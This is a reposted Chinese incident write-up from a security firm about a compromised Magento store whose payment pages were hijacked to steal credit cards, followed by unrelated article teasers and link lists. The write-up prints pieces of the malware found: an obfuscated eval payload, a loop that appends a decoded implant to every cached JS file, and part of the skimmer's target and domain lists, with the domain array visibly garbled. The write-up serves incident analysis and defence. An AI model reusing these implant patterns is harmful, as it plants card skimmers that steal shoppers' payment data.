当前位置: 首页 » it资讯 » it资讯 » 正文

Magento外贸网站被入侵支付被劫持跳转怎么处理

发布时间:2024-12-26 以下文章来源于网友投稿,内容仅供参考!

Magento是最受欢迎的外贸电商框架之一,很多企业已经在其基础上进行了二次开发。然而,对于使用2.x版本的老系统来说,安全问题也成为了一大难题。有些客户在找我们SINESAFE做网站安全服务之前,客户也找过建站的公司去清除后门,建站公司也将系统迁移升级到了最新的2.4.4版本,但后来发现问题并没有完全的解决,还是会反复的被篡改代码和用户的支付页面被劫持跳转,问题的根源是代码里已经被黑客植入后门了,数据库也被留了木马病毒,这个时候不光是要升级magento到最新版本,还得要把木马后门给彻底的清理掉,做好安全加固和防护,才能彻底的解决这个问题。

因为2024年以前的Maganto 2.x版本存在很多漏洞,像远程代码执行漏洞、SQL注入漏洞都是比较高危的,如果不及时升级到2.x版本就很容易被黑客攻击。但是,即使升级到2.x版本,也不代表完全解决了安全问题。因此,针对这种情况,企业需要认真评估自身的安全风险,并采取措施进行安全加固。具体来说,可以通过加强访问控制、强化数据保护等方式来提高系统安全性。同时,定期对系统进行漏洞扫描和代码安全审计,及时修补代码漏洞和加强网站的安全防护,也是减轻安全风险的有效措施。

我们SINE安全处理了很多外贸客户使用magento被黑客入侵的安全问题,虽然在国内Magento并不被广泛使用,但它在国外却十分流行。然而,一些老版本的Magento很容易被攻击者通过框架拿shell等方式入侵。以下就是我们SINE安全处理客户的magento被黑客攻击的过程记录:

排查黑客攻击的问题时,很容易陷入只分析日志等细节的误区。其实,在进行任何分析之前,我们都需要先做以下几件事情:

第一,核实信息。这就像是我们在找错问题之前,需要先了解出现问题的具体细节和当前服务器的环境情况。

第二,断开服务器的外网链接,保障安全。这就像是把自家的大门关上,不让坏人轻松进入。

第三,保存服务器的环境,以及现场的各种信息,如端口网络、应用程序、日志文件等。这样,就像是在证据链中留下关键的线索,更有利于我们查找和分析问题,而且要注意不要有写操作哦!

在现场环境中,虽然我们可能无法找到确切的问题所在,但是可以通过查看历史日志,来检查是否存在服务器linux系统被提权等可疑行为。如果使用了chkrootkit、rkthunter和lynis等安全扫描工具,也未发现任何问题,那还是建议客户考虑更换服务器,以避免潜在的安全风险。

我们SINE安全首先从web层面去看,分析了网站访问日志,nginx日志,数据库日志发现有许多黑客攻击的痕迹,利用的都是Magento的一些高危漏洞进行的,也可以说明网站被入侵是由于magento低版本存在漏洞导致,我们立即展开对系统以及源代码的安全审计,人工去分析每一行代码,通过我们的检测,发现4个木马后门,如下:

bmMo\1122\x46jdGl\x76bicgLi\101kX1BP\x551R\x62\1122\105\x6e\x58\123k7CmV4aXQ7Cg=\075"; eval(_decode($VKGPOZ)); ?>

foreach (glob("/www/wwwroot/dev.******/pub/static/_cache/merged/*.js") as $filename) {

if (!preg_match("/lG68xv3NXN/", file_get_contents($filename))) {

file_put_contents($filename, _decode($implant), FILE_APPEND);

echo "updated: {$filename}\n";

} else {

echo "ok: {$filename}\n";

}

}

通过上面的代码我们可以发现都是一些webshell木马后门,像filemanPHP大马,一句话木马,以及定时篡改网站全部JS功能的代码,通过分析,我们SINE安全发现黑客入侵的目的不是为了挂马和挂黑链,而是为了盗取用户的信用卡信息,用于盗刷。我们对黑客植入到JS的代码进行了分析与解密,发现该JS代码是用来记录用户的信用卡信息,针对Magento支付相关页面 onepage|checkout|onestep|payment|transaction中所有的表单信息,也会判断来路是从

const domains =["securecode","psncdn","googleadservices","googletagmanager","google"];"apprater","shopperapproved","chromecast-setup","ssl-images-amazon","google"];的用户,会将信用卡的信息POST发送到黑客的指定网站上。

看来黑客的目的就是为了要盗取用户的信用卡信息,用于盗刷来获取巨大的利益。道高一尺魔高一丈,我们SINE安全十多年来一直与黑灰产进行对抗,通过此次帮客户处理的magento的安全问题,我们又总结了新的经验,也希望分享这个处理过程让大家有所收获。


  • • 电脑防辐射产品有哪些?放电脑辐射的方法有什么?

    电脑防辐射产品有哪些?下面的产品仅供参考:1、保护屏电脑的电磁辐射大多在短波和微波之间,电脑辐射防护屏可以起到一定的防护作

  • • 单卡双模什么意思?双卡单模与双卡双模的区别在哪?

    单卡双模什么意思手机双卡双模和双卡单模区别在哪?单卡双模就是手机等设备使用一卡可以支持两种网络,如移动的3G制式TD网络手机

  • • itunes下载的文件在哪?苹果6更新不了系统怎么办?

    itunes下载的文件在哪1、 假如大家的itunes下载是默认下载的,那么这个下载的文件应该就是在administrator文件夹里面的。而admin

  • • cydia队列如何清空?如何通过Cydia添加源地址?

    cydia队列如何清空?进cydia,管理软件包,然后点一个,进去后点更改,点卸载,点继续队列(这是关键),接下来就是再选一个插件了

  • • 寻道错误率是什么意思?寻道错误率不及格怎么修好?

    寻道错误率是什么意思寻道错误率指的是硬盘寻道是指磁头电机伺服系统接到读写指令将磁头定位到指定磁道进行读写的行为。如果磁头

  • 360文库
    腾讯广告推广平台入口
    360移动开放平台
    360广告投放平台
    360广告联盟平台官网
    京东联盟官网登录入口
    微盟官网
    阿里妈妈官网
    淘宝联盟官网
    百度广告联盟平台官网入口
    山西农业大学教务处:jwc.sxau.edu.cn
    太原理工大学教务处:jwc.tyut.edu.cn
    山西师范大学教务处:jwc.sxnu.edu.cn/jwcweb/xscx.asp
    曲阜师范大学教务处:jwc.qfnu.edu.cn
    山西大学网络服务:xgbzz.sxu.edu.cn
    青岛科技大学就业信息网:job.qust.edu.cn
    山西大学教务处:jwc.sxu.edu.cn
    青岛科技大学学生资助管理中心:xszz.qust.edu.cn/index.asp
    太原科技大学学生处:210.31.104.100/xsc/Default.aspx
    青岛科技大学学生部:student.qust.edu.cn